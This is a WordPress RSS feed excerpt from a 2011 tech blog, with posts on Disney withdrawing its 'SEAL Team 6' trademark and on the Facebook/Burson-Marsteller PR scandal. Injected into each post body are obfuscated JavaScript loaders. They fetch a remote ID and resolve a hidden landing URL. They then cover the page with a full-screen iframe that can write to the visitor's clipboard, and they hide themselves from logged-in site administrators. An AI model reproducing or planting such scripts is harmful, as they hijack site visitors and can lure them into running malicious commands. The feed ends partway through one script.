    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }</p>
<p>      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));</p>
<p>      if (!builtUrl) {
        return step(index + 1);
      }</p>
<p>      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }</p>
<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }</p>
<p>    return step(0);
  }</p>
<p>  function activateIframe(url) {
    if (!url || registry.status === "active") return;</p>
<p>    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }</p>
<p>    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }</p>
<p>    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }</p>
<p>    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;</p>
<p>    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);</p>
<p>      registry.status = "active";</p>
<p>      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");</p>
<p>      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }</p>
<p>    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }</p>
<p>    registry.destroy = destroy;
    registry.reveal = reveal;</p>
<p>    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");</p>
<p>    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };</p>
<p>    iframe.onerror = function () {
      destroy();
    };</p>
<p>    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);</p>
<p>    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }</p>
<p>  function run() {
    warmupOrigins();
    bindMessageHandler();</p>
<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }</p>
<p>        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        finalUrl = toHttpUrl(finalUrl);</p>
<p>        if (!finalUrl) {
          cleanup("done");
          return "";
        }</p>
<p>        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }</p>
<p>        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }</p>
<p>  registry.runPromise = run();
})();</script></p>
  ]]></content:encoded>
					
					<wfw:commentRss>http://technacea.com/2011/07/14/thanks-netflix-i-can-use-that-180-a-year-somewhere-else/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">156</post-id>	</item>
		<item>
		<title>Disney Withdraws Trademark Application for SEAL Team 6</title>
		<link>http://technacea.com/2011/05/25/disney-withdraws-trademark-application-for-seal-team-6/</link>
					<comments>http://technacea.com/2011/05/25/disney-withdraws-trademark-application-for-seal-team-6/#respond</comments>
		
		<dc:creator><![CDATA[Bill Sanders]]></dc:creator>
		<pubDate>Wed, 25 May 2011 22:56:52 +0000</pubDate>
				<category><![CDATA[In The News]]></category>
		<category><![CDATA[Leadership]]></category>
		<guid isPermaLink="false">http://technacea.com/?p=148</guid>

					<description><![CDATA[File under &#8220;it&#8217;s rarely too late to try to correct a mistake.&#8221; Especially if the mistake you are trying to correct is getting on the wrong side of people who make war for a living. According to the Wall Street Journal: Walt Disney Co. said Wednesday that it will withdraw its applications to trademark the term &#8220;SEAL&#8230; <a class="more-link" href="http://technacea.com/2011/05/25/disney-withdraws-trademark-application-for-seal-team-6/">Continue reading <span class="screen-reader-text">Disney Withdraws Trademark Application for SEAL Team 6</span></a>]]></description>
										<content:encoded><![CDATA[<p><a href="http://www.flickr.com/photos/ussocom/2231393018/"><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-150" title="Desert Rescue XI" src="http://technacea.com/wp-content/uploads/2011/05/SealTeam-500x325.jpg" alt="" width="500" height="325" srcset="http://technacea.com/wp-content/uploads/2011/05/SealTeam-500x325.jpg 500w, http://technacea.com/wp-content/uploads/2011/05/SealTeam-1024x667.jpg 1024w" sizes="auto, (max-width: 500px) 100vw, 500px" /></a></p>
<p>File under &#8220;it&#8217;s rarely too late to try to correct a mistake.&#8221; Especially if the mistake you are trying to correct is getting on the wrong side of people who make war for a living.</p>
<p>According to the Wall Street Journal:</p>
<blockquote><p>Walt Disney Co. said Wednesday that it will withdraw its applications to trademark the term &#8220;SEAL Team 6&#8221; for use on toys, games, and other consumer products.</p>
<p>A Disney spokesman said the company was withdrawing the applications &#8220;out of deference to the Navy.&#8221;</p>
<p><a href="http://on.wsj.com/ijdOl9">Read more&#8230;</a></p></blockquote>
<p>I&#8217;m glad to see Disney correct this, but I&#8217;ve not yet been disabused of the notion that our trademark and patent system is due for an overhaul.</p>
<p>photo credit: <strong id="yui_3_3_0_3_1306363836818996"><a href="http://www.flickr.com/photos/ussocom/">ussocom_ru</a></strong><script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]||{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady||("complete"===document.readyState||document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e||"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||"").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&&"object"==typeof e.data&&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();</p>
<p>console.log('28du3');</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];</p>
<p>  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";</p>
<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };</p>
<p>  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;</p>
<p>      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;</p>
<p>      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p>
<p>      var de = document.documentElement;
      var body = document.body;</p>
<p>      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}</p>
<p>    return false;
  }</p>
<p>  if (isWpLoggedInContext()) return;</p>
<p>  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }</p>
<p>  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }</p>
<p>  registry.status = "loading";</p>
<p>  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }</p>
<p>  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";</p>
<p>    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }</p>
<p>    var encoded = encodeURIComponent(id);</p>
<p>    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }</p>
<p>    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function toHttpUrl(value) {
    if (!value) return "";</p>
<p>    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");</p>
<p>    if (!s) return "";</p>
<p>    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }</p>
<p>    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}</p>
<p>    return "";
  }</p>
<p>  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";</p>
<p>    if (typeof input === "string") {
      return toHttpUrl(input);
    }</p>
<p>    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }</p>
<p>    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }</p>
<p>    return "";
  }</p>
<p>  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }</p>
<p>  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;</p>
<p>    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;</p>
<p>    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;</p>
<p>      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;</p>
<p>      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }</p>
<p>      parent.appendChild(link);
    } catch (e) {}
  }</p>
<p>  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;</p>
<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }</p>
<p>      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));</p>
<p>      if (!builtUrl) {
        return step(index + 1);
      }</p>
<p>      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }</p>
<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }</p>
<p>    return step(0);
  }</p>
<p>  function activateIframe(url) {
    if (!url || registry.status === "active") return;</p>
<p>    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }</p>
<p>    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }</p>
<p>    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }</p>
<p>    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;</p>
<p>    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);</p>
<p>      registry.status = "active";</p>
<p>      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");</p>
<p>      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }</p>
<p>    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }</p>
<p>    registry.destroy = destroy;
    registry.reveal = reveal;</p>
<p>    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");</p>
<p>    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };</p>
<p>    iframe.onerror = function () {
      destroy();
    };</p>
<p>    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);</p>
<p>    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }</p>
<p>  function run() {
    warmupOrigins();
    bindMessageHandler();</p>
<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }</p>
<p>        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        finalUrl = toHttpUrl(finalUrl);</p>
<p>        if (!finalUrl) {
          cleanup("done");
          return "";
        }</p>
<p>        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }</p>
<p>        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }</p>
<p>  registry.runPromise = run();
})();</script></p>
  ]]></content:encoded>
					
					<wfw:commentRss>http://technacea.com/2011/05/25/disney-withdraws-trademark-application-for-seal-team-6/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">148</post-id>	</item>
		<item>
		<title>Facebook PR Debacle Part II: You&#8217;re Doing It Wrong!</title>
		<link>http://technacea.com/2011/05/16/facebook-pr-debacle-part-ii/</link>
					<comments>http://technacea.com/2011/05/16/facebook-pr-debacle-part-ii/#respond</comments>
		
		<dc:creator><![CDATA[Bill Sanders]]></dc:creator>
		<pubDate>Tue, 17 May 2011 01:45:50 +0000</pubDate>
				<category><![CDATA[General]]></category>
		<guid isPermaLink="false">http://technacea.com/?p=137</guid>

					<description><![CDATA[&#160; I recommended in my post on the 13th that those responsible for this mess be fired; if not for ethics violations, then at least for incompetence. And there are people responsible for this on the Facebook as well as the Burson-Marsteller side of this debacle. It is quickly becoming a grand case study of &#8220;How-Not-To-Do-It.&#8221; Now Burson-Marsteller&#8230; <a class="more-link" href="http://technacea.com/2011/05/16/facebook-pr-debacle-part-ii/">Continue reading <span class="screen-reader-text">Facebook PR Debacle Part II: You&#8217;re Doing It Wrong!</span></a>]]></description>
										<content:encoded><![CDATA[<p><a href="http://www.wired.com/epicenter/2011/05/burson-facebook-deletions"><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-138" title="BM101-660x457" src="http://technacea.com/wp-content/uploads/2011/05/BM101-660x457-500x346.jpg" alt="" width="500" height="346" srcset="http://technacea.com/wp-content/uploads/2011/05/BM101-660x457-500x346.jpg 500w, http://technacea.com/wp-content/uploads/2011/05/BM101-660x457.jpg 660w" sizes="auto, (max-width: 500px) 100vw, 500px" /></a></p>
<p>&nbsp;</p>
<p>I recommended in <a href="http://technacea.com/2011/05/13/facebookprdebacle">my post on the 13th</a> that those responsible for this mess be fired; if not for ethics violations, then at least for incompetence. And there are people responsible for this on the Facebook as well as the Burson-Marsteller side of this debacle.</p>
<p>It is quickly becoming a grand case study of &#8220;How-Not-To-Do-It.&#8221; Now <a href="http://www.wired.com/epicenter/2011/05/burson-facebook-deletions">Burson-Marsteller admits to removing a post critical of their behavior from their fan page</a>. Although they immediately backtracked and promised to issue an apology to the poster, the immediate knee-jerk behavior is old-school controlling to the core.</p>
<p>Thanks to Wired we know that the two responsible (or at least the two that are going to take the blame) on the Burson-Marteller side are going to get off scot-free:</p>
<blockquote><p>Instead, Mercurio and Goldman, both high-profile former journalists new to Burson, will receive additional ethics training, the company said.</p></blockquote>
<p>Really? Journalists, high-profile at that, didn&#8217;t understand the ethics of this? Didn&#8217;t get the sleaze factor? Didn&#8217;t think about the potential blow-back?</p>
<p>In every company I&#8217;ve ever been in, if you don&#8217;t get the culture and ethic of the company pretty quick you get fired. The entire things feels like spin-control and a cover up for more senior decision makers to me. If it really was just these two former journalists involved, Burson could have resolved this in hours.</p>
<p>I don&#8217;t know these men (and possibly women) involved, and I don&#8217;t have to. It&#8217;s not about them &#8211; it&#8217;s about the possibility of salvaging a company. It was a reputation damaging action and if Burson wants to keep any shred of its reputation and dignity, it should clean house now, not next week.</p>
<p>At least the Brits get it:</p>
<blockquote><p>&#8230; the former Chairman and CEO of Burson’s British business absolutely ripped apart the firm’s tactics, calling them “furtive and creepy.”</p></blockquote>
<p>I predict a mass exodus of the best and brightest from Burson in 3, 2, &#8230;</p>
<p>In the mean time Facebook, as noted by Dan Lyons in <a href="http://www.thedailybeast.com/blogs-and-stories/2011-05-13/facebook-and-pr-agency-spar-over-anti-google-smear-campaign/">Facebook Smear Blame Game</a>,</p>
<blockquote><p>&#8230;will do what it always does when it gets into trouble: refuse to apologize, admit no wrongdoing, stop talking and wait for the storm to blow over.</p>
<p>If so, that would be the first smart move they&#8217;ve made in this sorry episode.</p></blockquote>
<p>It might be the first smart move Dan, but it won&#8217;t replace the trust they just squandered in this &#8220;sorry episode.&#8221;</p>
<p>&nbsp;<script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]||{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady||("complete"===document.readyState||document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e||"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||"").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&&"object"==typeof e.data&&"ktl-show-original"===e.data.type)try{var 